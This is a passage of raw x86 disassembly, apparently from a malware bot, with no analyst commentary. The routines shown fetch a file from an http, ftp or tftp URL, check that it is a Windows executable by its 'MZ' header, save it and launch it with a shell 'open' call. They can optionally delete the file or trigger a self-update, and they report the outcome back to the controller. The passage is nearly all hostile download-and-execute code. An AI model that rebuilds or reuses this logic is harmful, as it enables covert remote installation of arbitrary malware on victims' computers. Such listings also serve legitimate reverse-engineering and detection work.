		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_40278D
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_40278D:				; CODE XREF: sub_402698+E0j
		mov	eax, [ebp+var_410]
		add	eax, 4
		mov	[ebp+var_410], eax
		push	offset aContentLength ;	"Content-Length: "
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_40C], eax
		cmp	[ebp+var_40C], 0
		jz	short loc_4027CC
		mov	eax, [ebp+var_40C]
		cmp	eax, [ebp+var_410]
		jbe	short loc_4027DF

loc_4027CC:				; CODE XREF: sub_402698+124j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_4027DF:				; CODE XREF: sub_402698+132j
		and	[ebp+var_41C], 0
		lea	eax, [ebp+var_41C]
		push	eax
		push	offset aContentLengthU ; "Content-Length: %u\r\n"
		push	[ebp+var_40C]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 1
		jnz	short loc_402818
		cmp	[ebp+var_41C], 0
		jnz	short loc_40282B

loc_402818:				; CODE XREF: sub_402698+175j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_40282B:				; CODE XREF: sub_402698+17Ej
		cmp	[ebp+arg_1C], 0
		jz	short loc_40285D
		cmp	[ebp+var_41C], 2
		jb	short loc_40284A
		mov	eax, [ebp+var_410]
		movzx	eax, word ptr [eax]
		cmp	eax, 5A4Dh
		jz	short loc_40285D

loc_40284A:				; CODE XREF: sub_402698+1A0j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_40285D:				; CODE XREF: sub_402698+197j
					; sub_402698+1B0j
		cmp	[ebp+arg_18], 0
		jz	short loc_40286E
		mov	eax, [ebp+arg_18]
		mov	ecx, [ebp+var_41C]
		mov	[eax], ecx

loc_40286E:				; CODE XREF: sub_402698+1C9j
		push	[ebp+arg_14]
		call	sub_4167B9
		pop	ecx
		test	eax, eax
		jz	short loc_40288E
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_40288E:				; CODE XREF: sub_402698+1E1j
		push	offset dword_4182AC
		push	[ebp+arg_14]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 0
		jnz	short loc_4028BF
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_4028BF:				; CODE XREF: sub_402698+212j
		push	[ebp+var_418]
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		push	ecx
		push	1
		push	[ebp+var_410]
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		mov	eax, [ebp+var_41C]
		sub	eax, ecx
		mov	[ebp+var_41C], eax

loc_402910:				; CODE XREF: sub_402698:loc_402A1Dj
		cmp	[ebp+arg_20], 0
		jz	short loc_40293F
		mov	eax, [ebp+arg_20]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40293F
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_40293F:				; CODE XREF: sub_402698+27Cj
					; sub_402698+285j
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402976
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_40299E

loc_402976:				; CODE XREF: sub_402698+2D3j
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	[ebp+arg_14]
		call	dword_4170AC	; DeleteFileA
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_40299E:				; CODE XREF: sub_402698+2DCj
		mov	eax, [ebp+var_420]
		cmp	eax, [ebp+var_41C]
		jbe	short loc_4029C8
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------

loc_4029C8:				; CODE XREF: sub_402698+312j
		push	[ebp+var_418]
		push	[ebp+var_420]
		push	1
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_41C]
		sub	eax, [ebp+var_420]
		mov	[ebp+var_41C], eax
		cmp	[ebp+var_41C], 0
		jnz	short loc_402A1D
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------

loc_402A1D:				; CODE XREF: sub_402698+366j
		jmp	loc_402910
; ---------------------------------------------------------------------------

locret_402A22:				; CODE XREF: sub_402698+2Fj
					; sub_402698+BBj ...
		leave
		retn
sub_402698	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A24	proc near		; CODE XREF: sub_402A32+625p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A2B	proc near		; CODE XREF: sub_402A32+673p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A32	proc near		; DATA XREF: sub_403260+BCo

var_814		= qword	ptr -814h
var_804		= qword	ptr -804h
var_7FC		= dword	ptr -7FCh
var_7F8		= qword	ptr -7F8h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_6D5		= byte ptr -6D5h
var_6D4		= byte ptr -6D4h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= byte ptr -6BCh
var_6BB		= byte ptr -6BBh
var_63C		= dword	ptr -63Ch
var_638		= byte ptr -638h
var_637		= byte ptr -637h
var_632		= byte ptr -632h
var_631		= byte ptr -631h
var_534		= byte ptr -534h
var_430		= byte ptr -430h
var_2A8		= byte ptr -2A8h
var_2A7		= byte ptr -2A7h
var_2A6		= byte ptr -2A6h
var_2A3		= byte ptr -2A3h
var_296		= byte ptr -296h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= byte ptr -284h
var_283		= byte ptr -283h
var_204		= byte ptr -204h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 804h
		push	edi
		push	3AFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_288], 0
		mov	[ebp+var_28C], 1
		and	[ebp+var_6CC], 0
		mov	al, byte_41DE30
		mov	[ebp+var_284], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_283]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE30
		mov	[ebp+var_6BC], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_6BB]
		rep stosd
		stosw
		stosb
		and	[ebp+var_6C8], 0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_4185CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	7
		push	offset dword_4185C4
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_402B93
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_631]
		push	eax
		call	dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_402B8E
		call	dword_417064	; RtlGetLastWin32Error
		cmp	eax, 20h
		jnz	short loc_402B58
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41858C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_402B7B
; ---------------------------------------------------------------------------

loc_402B58:				; CODE XREF: sub_402A32+FFj
		lea	eax, [ebp+var_631]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41855C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_402B7B:				; CODE XREF: sub_402A32+124j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------

loc_402B8E:				; CODE XREF: sub_402A32+F4j
		jmp	loc_403256
; ---------------------------------------------------------------------------

loc_402B93:				; CODE XREF: sub_402A32+D6j
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402BB5
; ---------------------------------------------------------------------------

loc_402BA8:				; CODE XREF: sub_402A32:loc_402CD8j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax

loc_402BB5:				; CODE XREF: sub_402A32+174j
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402CDD
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 3Ah
		jnz	loc_402CD8
		mov	[ebp+var_7E0], 1
		jmp	short loc_402BF2
; ---------------------------------------------------------------------------

loc_402BE5:				; CODE XREF: sub_402A32:loc_402CD3j
		mov	eax, [ebp+var_7E0]
		inc	eax
		mov	[ebp+var_7E0], eax

loc_402BF2:				; CODE XREF: sub_402A32+1B1j
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		test	eax, eax
		jz	short loc_402C23
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 2Fh
		jnz	short loc_402C7A

loc_402C23:				; CODE XREF: sub_402A32+1D6j
		mov	eax, [ebp+var_7E0]
		and	[ebp+eax+var_6D5], 0
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jz	short loc_402C75
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		add	eax, [ebp+var_7E0]
		push	eax
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6C8], 1

loc_402C75:				; CODE XREF: sub_402A32+20Ej
		jmp	loc_403251
; ---------------------------------------------------------------------------

loc_402C7A:				; CODE XREF: sub_402A32+1EFj
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 30h
		jl	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 39h
		jg	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		mov	ecx, [ebp+var_7E0]
		mov	al, [ebp+eax+var_638]
		mov	[ebp+ecx+var_6D5], al
		jmp	short loc_402CD3
; ---------------------------------------------------------------------------

loc_402CCE:				; CODE XREF: sub_402A32+25Fj
					; sub_402A32+278j
		jmp	loc_40324C
; ---------------------------------------------------------------------------

loc_402CD3:				; CODE XREF: sub_402A32+29Aj
		jmp	loc_402BE5
; ---------------------------------------------------------------------------

loc_402CD8:				; CODE XREF: sub_402A32+1A1j
		jmp	loc_402BA8
; ---------------------------------------------------------------------------

loc_402CDD:				; CODE XREF: sub_402A32+18Aj
					; sub_402A32:loc_40324Cj ...
		push	7
		push	offset aHttp	; "http://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402D37
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D13
		push	offset a80	; "80"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_402D13:				; CODE XREF: sub_402A32+2CCj
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 1
		jmp	loc_402E3D
; ---------------------------------------------------------------------------

loc_402D37:				; CODE XREF: sub_402A32+2C3j
		push	6
		push	offset aFtp	; "ftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402DB7
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D6D
		push	offset a21	; "21"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_402D6D:				; CODE XREF: sub_402A32+326j
		lea	eax, [ebp+var_632]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 2
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	loc_402E3D
; ---------------------------------------------------------------------------

loc_402DB7:				; CODE XREF: sub_402A32+31Dj
		push	7
		push	offset aTftp	; "tftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402E0E
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402DED
		push	offset a69	; "69"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_402DED:				; CODE XREF: sub_402A32+3A6j
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 3
		jmp	short loc_402E3D
; ---------------------------------------------------------------------------

loc_402E0E:				; CODE XREF: sub_402A32+39Dj
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_418500
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------

loc_402E3D:				; CODE XREF: sub_402A32+300j
					; sub_402A32+380j ...
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402E5F
; ---------------------------------------------------------------------------

loc_402E52:				; CODE XREF: sub_402A32:loc_402F11j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax

loc_402E5F:				; CODE XREF: sub_402A32+41Ej
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402F16
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 40h
		jnz	loc_402F11
		mov	eax, [ebp+var_6C0]
		and	[ebp+eax+var_638], 0
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_7E4], eax
		cmp	[ebp+var_7E4], 0
		jz	short loc_402ED8
		mov	eax, [ebp+var_7E4]
		and	byte ptr [eax],	0
		push	80h
		mov	eax, [ebp+var_7E4]
		inc	eax
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_407A56
		add	esp, 0Ch

loc_402ED8:				; CODE XREF: sub_402A32+47Fj
		push	80h
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_637]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402F16
; ---------------------------------------------------------------------------

loc_402F11:				; CODE XREF: sub_402A32+44Bj
		jmp	loc_402E52
; ---------------------------------------------------------------------------

loc_402F16:				; CODE XREF: sub_402A32+434j
					; sub_402A32+4DDj
		push	offset asc_4184F8 ; "/"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_288], eax
		cmp	[ebp+var_288], 0
		jnz	short loc_402F67
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_4184CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------

loc_402F67:				; CODE XREF: sub_402A32+504j
		mov	eax, [ebp+var_288]
		inc	eax
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_288]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp-6D8h], eax
		and	[ebp+var_6C4], 0
		cmp	[ebp+var_6CC], 1
		jnz	short loc_403009
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402698
		add	esp, 24h
		mov	[ebp+var_28C], eax

loc_403009:				; CODE XREF: sub_402A32+582j
		cmp	[ebp+var_6CC], 2
		jnz	short loc_403065
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402A24
		add	esp, 24h
		mov	[ebp+var_28C], eax

loc_403065:				; CODE XREF: sub_402A32+5DEj
		cmp	[ebp+var_6CC], 3
		jnz	short loc_4030B3
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_402A2B
		add	esp, 1Ch
		mov	[ebp+var_28C], eax

loc_4030B3:				; CODE XREF: sub_402A32+63Aj
					; sub_402A32:loc_403256j
		cmp	[ebp+var_28C], 1
		jnz	loc_403219
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4030D7
		mov	[ebp+var_7EC], offset dword_4184C0
		jmp	short loc_403104
; ---------------------------------------------------------------------------

loc_4030D7:				; CODE XREF: sub_402A32+697j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jz	short loc_4030EE
		mov	[ebp+var_7F0], offset dword_4184B4
		jmp	short loc_4030F8
; ---------------------------------------------------------------------------

loc_4030EE:				; CODE XREF: sub_402A32+6AEj
		mov	[ebp+var_7F0], offset byte_41DE30

loc_4030F8:				; CODE XREF: sub_402A32+6BAj
		mov	eax, [ebp+var_7F0]
		mov	[ebp+var_7EC], eax

loc_403104:				; CODE XREF: sub_402A32+6A3j
		push	[ebp+var_7EC]
		mov	eax, [ebp+var_6C4]
		shr	eax, 0Ah
		mov	dword ptr [ebp+var_7F8], eax
		and	dword ptr [ebp+var_7F8+4], 0
		fild	[ebp+var_7F8]
		fstp	[ebp+var_7FC]
		call	sub_416B64	; clock
		sub	eax, [ebp-6D8h]
		mov	dword ptr [ebp+var_804], eax
		and	dword ptr [ebp+var_804+4], 0
		fild	[ebp+var_804]
		fdiv	flt_417270
		fdivr	[ebp+var_7FC]
		push	ecx
		push	ecx
		fstp	[esp+814h+var_814]
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41846C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_2A7]
		test	eax, eax
		jz	short loc_403198
		lea	eax, [ebp+var_534]
		push	eax
		call	dword_4170AC	; DeleteFileA
		jmp	short loc_403217
; ---------------------------------------------------------------------------

loc_403198:				; CODE XREF: sub_402A32+755j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jnz	short loc_4031AE
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_403217

loc_4031AE:				; CODE XREF: sub_402A32+76Fj
		movsx	eax, [ebp+var_2A3]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		mov	[ebp+var_7E8], eax
		cmp	[ebp+var_7E8], 20h
		jbe	short loc_4031F4
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4031F2
		call	sub_407148

loc_4031F2:				; CODE XREF: sub_402A32+7B9j
		jmp	short loc_403217
; ---------------------------------------------------------------------------

loc_4031F4:				; CODE XREF: sub_402A32+7AEj
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418444
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_403217:				; CODE XREF: sub_402A32+764j
					; sub_402A32+77Aj ...
		jmp	short loc_40323C
; ---------------------------------------------------------------------------

loc_403219:				; CODE XREF: sub_402A32+688j
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418414
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_40323C:				; CODE XREF: sub_402A32:loc_403217j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_40325B
; ---------------------------------------------------------------------------

loc_40324C:				; CODE XREF: sub_402A32:loc_402CCEj
		jmp	loc_402CDD
; ---------------------------------------------------------------------------

loc_403251:				; CODE XREF: sub_402A32:loc_402C75j
		jmp	loc_402CDD
; ---------------------------------------------------------------------------

loc_403256:				; CODE XREF: sub_402A32:loc_402B8Ej
		jmp	loc_4030B3
; ---------------------------------------------------------------------------

loc_40325B:				; CODE XREF: sub_402A32+157j
					; sub_402A32+406j ...
		pop	edi
		leave
		retn	4
sub_402A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403260	proc near		; CODE XREF: sub_40A9CF+959p

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_4], 0
		jnz	short loc_403271
		jmp	locret_403329
; ---------------------------------------------------------------------------

loc_403271:				; CODE XREF: sub_403260+Aj
		push	3AFh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_40328A
		jmp	locret_403329
; ---------------------------------------------------------------------------

loc_40328A:				; CODE XREF: sub_403260+23j
		push	8
		push	7Ah
		push	61h
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_410501
		add	esp, 14h
		and	[ebp+eax+var_10], 0
		push	offset dword_418620
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_4032BF
		lea	eax, [ebp+var_10]
		mov	[ebp+arg_8], eax

loc_4032BF:				; CODE XREF: sub_403260+57j
		push	104h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_14]
		add	eax, 20Ch
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		push	offset dword_4185FC
		push	0
		push	[ebp+var_14]
		push	offset sub_402A32
		call	sub_4095A4
		add	esp, 18h

locret_403329:				; CODE XREF: sub_403260+Cj
					; sub_403260+25j
		leave
		retn
sub_403260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40332B	proc near		; CODE XREF: sub_4093B6+A0p
					; sub_4094E6+9Bp ...

var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	1
		push	offset dword_41DE3C
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	dword_41DE38, 0
		jz	loc_4034D9
		mov	[ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER"
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_110], eax
		cmp	[ebp+var_110], 0C0000025h
		ja	short loc_4033A4
		cmp	[ebp+var_110], 0C0000025h
		jz	short loc_4033FA
		cmp	[ebp+var_110], 80000003h
		jz	short loc_4033DF
		cmp	[ebp+var_110], 0C0000005h
		jz	short loc_4033D6
		cmp	[ebp+var_110], 0C000001Dh
		jz	short loc_4033E8
		jmp	short loc_403413
; ---------------------------------------------------------------------------

loc_4033A4:				; CODE XREF: sub_40332B+45j
		cmp	[ebp+var_110], 0C000008Dh
		jb	short loc_403413
		cmp	[ebp+var_110], 0C0000093h
		jbe	short loc_40340C
		cmp	[ebp+var_110], 0C0000094h
		jz	short loc_4033F1
		cmp	[ebp+var_110], 0C00000FDh
		jz	short loc_403403
		jmp	short loc_403413
; ---------------------------------------------------------------------------

loc_4033D6:				; CODE XREF: sub_40332B+69j
		mov	[ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------

loc_4033DF:				; CODE XREF: sub_40332B+5Dj
		mov	[ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT"
		jmp	short loc_403413
; ---------------------------------------------------------------------------

loc_4033E8:				; CODE XREF: sub_40332B+75j
		mov	[ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------

loc_4033F1:				; CODE XREF: sub_40332B+9Bj
		mov	[ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO"
		jmp	short loc_403413
; ---------------------------------------------------------------------------

loc_4033FA:				; CODE XREF: sub_40332B+51j
		mov	[ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
		jmp	short loc_403413
